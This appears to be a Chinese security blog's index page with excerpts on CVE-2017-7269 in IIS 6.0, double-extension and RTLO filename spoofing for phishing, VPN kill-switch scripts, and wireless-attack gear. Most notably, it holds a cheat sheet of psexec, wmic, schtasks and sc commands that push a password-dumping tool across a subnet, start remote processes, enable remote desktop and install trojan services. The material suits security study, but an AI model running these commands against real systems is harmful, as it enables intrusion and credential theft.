Lucid 's Blog | 安全博客

记录成长历程

本文用于记录IIS6.0 WebDav 远程命令执行漏洞的相关信息,检测利用方法以及修复方案,内容大多来自互联网,在此记录备忘。

免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负
漏洞信息

漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次
漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If: <Http://”开始的较长header头的PROPFIND请求执行任意代码。

利用条件

  • iis6.0
  • 开启WebDav功能(具体为PROPFIND方法,成功则返回207或者200)
  • windows server 2003 R2

Poc

阅读剩余部分...


0x00  隐藏的扩展已知文件类型

Windows默认的设置是隐藏已知文件类型的扩展名,如果开启了,可以在文件夹选项中开启已知扩展名的显示,当扩展名被隐藏后,如果有一个双扩展名,不太细心的用户就有可能会被欺骗。下面演示下双扩展:

notes.txt.exe

上面的文件实际上是一个可执行文件,但默认在Windows中却显示为notes.txt,那是因为隐藏了已知后缀,将exe隐藏了起来,我们为了让文件看起来更有说服力,可以将文件的图标更改为记事本图标,你可以从下面的示例图像中看到,它看起来就像一个普通的文本文件。

HTTP://3389.IN

但是我们将视图显示为详细信息的时候,就可以看到它的属性是一个可执行文件

HTTP://3389.IN

这个一个比较老的技巧了,一些防火墙或者杀毒软件会警告双后缀

防御: 显示已知后缀

0x01 RTLO/RLO (right to left override)

RTLO是Right to Left Override的缩写,他是一个 U+202E 的Unicode字符,用于阿拉伯语和希伯来语中将句子倒过来显示(从右往左显示),它可以让字符后面紧跟的字符串倒

可以用来欺骗用户打开可执行文件(钓鱼攻击),或者欺骗后端应用的检查机制。

虽然这个技术是有点老了,但仍然被像Etumbot,Sirefef等后门程序使用

阅读剩余部分...


实现功能:

拨入vpn后,如果vpn掉线,将不能访问任何网络,以防暴漏自己真实ip地址

Windows :

1,python脚本(检测网卡信息如果没有ppp信息,释放网卡ip地址)

#!#/usr/bin/env python
#coding=utf-8
import msvcrt 
import time
import os
x=0
print "Enter 'q' to exit"
vpn=os.popen("ipconfig |find \"PPP\"").read()
if vpn=="":
    print "No VPN"
else:
    x=1
while x:
    key=""
    time.sleep(0.5)
    if msvcrt.kbhit():
        key=msvcrt.getch()
    vpn=os.popen("ipconfig |find \"PPP\"").read()
    if(vpn==""):
        os.popen("ipconfig /release").read()
        print "Vpn Disable!!"
        opt=raw_input("Network is Down. Need up?(y/n):")
        if opt=='y':
            os.popen("ipconfig /renew").read()
            print "Network is Up!!!"
        exit(1)
    else:
        print "%d check: VPN OK!"%(x)
    x+=1
    if key=="q":
        print "Exiting..."
        exit(1)
        #os.system("ipconfig /renew")

编译后exe程序下载(适用无python环境)

2,路由表操作

拨入vpn或者其他vpn客户端软件后,再本地路由表(route print) 可以看到两个网关信息,一个是本地网关记录,另一个是vpn网关记录
需要管理员权限来运行,可以自制bat

删除本地网关为192.168.1.1的默认路由(只通过vpn网关上网)

route delete 0.0.0.0 192.168.1.1

添加本地网关为192.168.1.1的默认路由(恢复网络)

route add 0.0.0.0 mask 0.0.0.0 192.168.1.1

Linux(bash脚本)

#!/bin/bash
n=1
while true;do
    ifconfig|grep ppp >/dev/null
    if [ $? -eq 0 ];
    then
        echo "$n Check: VPN OK"
        sleep 1
        n=`expr $n + 1`
    else
        ifconfig eth0 down
        echo "Network is Down"
        echo "please run:ifconfig eth0 up"
        exit
    fi
done

阅读剩余部分...


查看远程计算机共享内容

net view \\192.168.1.100

psexec:
远程执行工具

环境: 需要开启admin$
445端口

注意:psExec建立连接后会在对方机器安装一个服务(PSEXESVC),exit退出后会清除,但是会出现概率不能删除,易于管理员发现(本地测试过几次,只有一次安装了服务)

psexec \\192.168.1.100 /accepteula -u administrator -p 123456 ipconfig  #远程执行cmd命令并返回结果  
psexec \\192.168.1.100 /accepteula -u administrator -p 123456 -c getpass.exe

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

getpass.exe为本机psexec.exe所在目录下,也可以直接执行其他目录的路径,例如c:\getpass.exe

批量抓同网段密码

for /L %%G in (128 1 128) do  psexec \\172.16.44.%%G  /accepteula -u administrator -p 123456 -c c:\getpass.exe >172.16.44.%%G_pass.txt

拷贝本地psexec.exe文件所在目录的getpass.exe到远程计算机. 执行并返回结果 ,并删除远程计算机的getpass.exe(批量抓全部机器密码)

wmic:
从命令行接口和批命令脚本执行系统管理的支持

环境:WMIC服务启动(Windows Management Instrumentation),禁用情况下会提示Description = 无法启动服务
135端口

wmic /node:192.168.1.100 /user:administrator /password:123456 process call  create c:\1.exe      ##创建进程,可以直接运行exe程序或者执行系统命令,例如添加用户,不过没有命令返回的结果  
wmic /node:192.168.1.100 /user:administrator /password:123456 process  ##查看远程计算机进程   
wmic /node:192.168.1.100 /user:administrator /password:123456 process where name="calc.exe" call terminate  ##关闭远程计算机进程   
wmic /output:"%userprofile%\Desktop\temp.html" /node:192.168.1.100 /user:administrator /password:123456  process list full /format:htable ##读取进程并以html格式化输出到本地桌面   
wmic /node:192.168.1.100 /user:administrator /password:123456 useraccount ##查看远程计算机用户    
wmic /node:192.168.1.100 /user:administrator /password:123456 computersystem get domain  ##读取远程计算机域/工作组    
wmic /node:192.168.1.100 /user:administrator /password:123456 SHARE CALL Create "","test","3","c_share","","c:\",0  ##开启远程计算机共享 c_share为共享名字,c:\为共享路径  
wmic /node:192.168.1.100 /user:administrator /password:123456 SHARE where name="c_share" call delete  ##删除远程计算机共享,可以直接运行SHARE  查看全部共享 
wmic /node:192.168.1.100 /user:administrator /password:123456  PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1         ##开启远程计算机的远程桌面 
wmic /output:"%userprofile%\Desktop\temp.html" /node:192.168.1.100 /user:administrator /password:123456 FSDIR where "drive='c:'" list  /format:htable    ##读取远程计算机C盘的全部目录并输出

到桌面
schtasks:
本地或远程系统上的计划系统。替代 at

条件:启动Task Scheduler服务

net use \\192.168.1.100\ipc$ 123456 /user:administrator 
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /s \\192.168.1.100 /ru system  /sc once /st 05:00 
schtasks /run /tn foobar /s  192.168.1.100              ##远程计算机启动任务 
schtasks /F /delete /tn foobar /s 192.168.1.100          ##清除schtasks

sc:
远程创建服务管理程序

sc命令各个参数的等号后面都要有一个空格,否则报语法错误

sc \\host create foobar binpath=“c:\windows\temp\foobar.exe”    ##新建服务,指向拷贝的木马路径 
sc \\192.168.1.100 create foobar binpath= c:\udp.exe obj= administrator password= "123456" 
sc \\192.168.1.100 start foobar        ##启动建立的服务 
sc \\192.168.1.100 delete foobar    ##完事后删除服务

参考:http://drops.wooyun.org/tips/7358


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

在电影里黑客都在大街上或者马路上直接用笔记本“嗒…嗒…嗒…”就把某个东西“黑”掉了——这都是通过无线的。本文将介绍一名无线安全工程师的装备库。

2.4GHz 定向or全向天线

请输入图片描述

定向天线的话本来想自己做出一个便携的.苦于没有太多的时间..全向我是选择某位大神的作品..

天线材料作者采用九节空心紫铜管镀银制作.天线在材料选取至关重要.之前在微博说过天线材料的选取.

大部分小伙伴还是对材料选取方面有一定的误区在这里我就不多说….

天线的搭配方案我建议是:

12DB全向配合3070网卡…对目标区域进行无线拓扑分析.并根据三点定位的特性.获取目标AP大概位置…

当分析目标区域内无线环境拓扑后..切换用定向天线配合8187网卡对目标AP…..当能够进入到目标无线网络中在切换回来.

阅读剩余部分...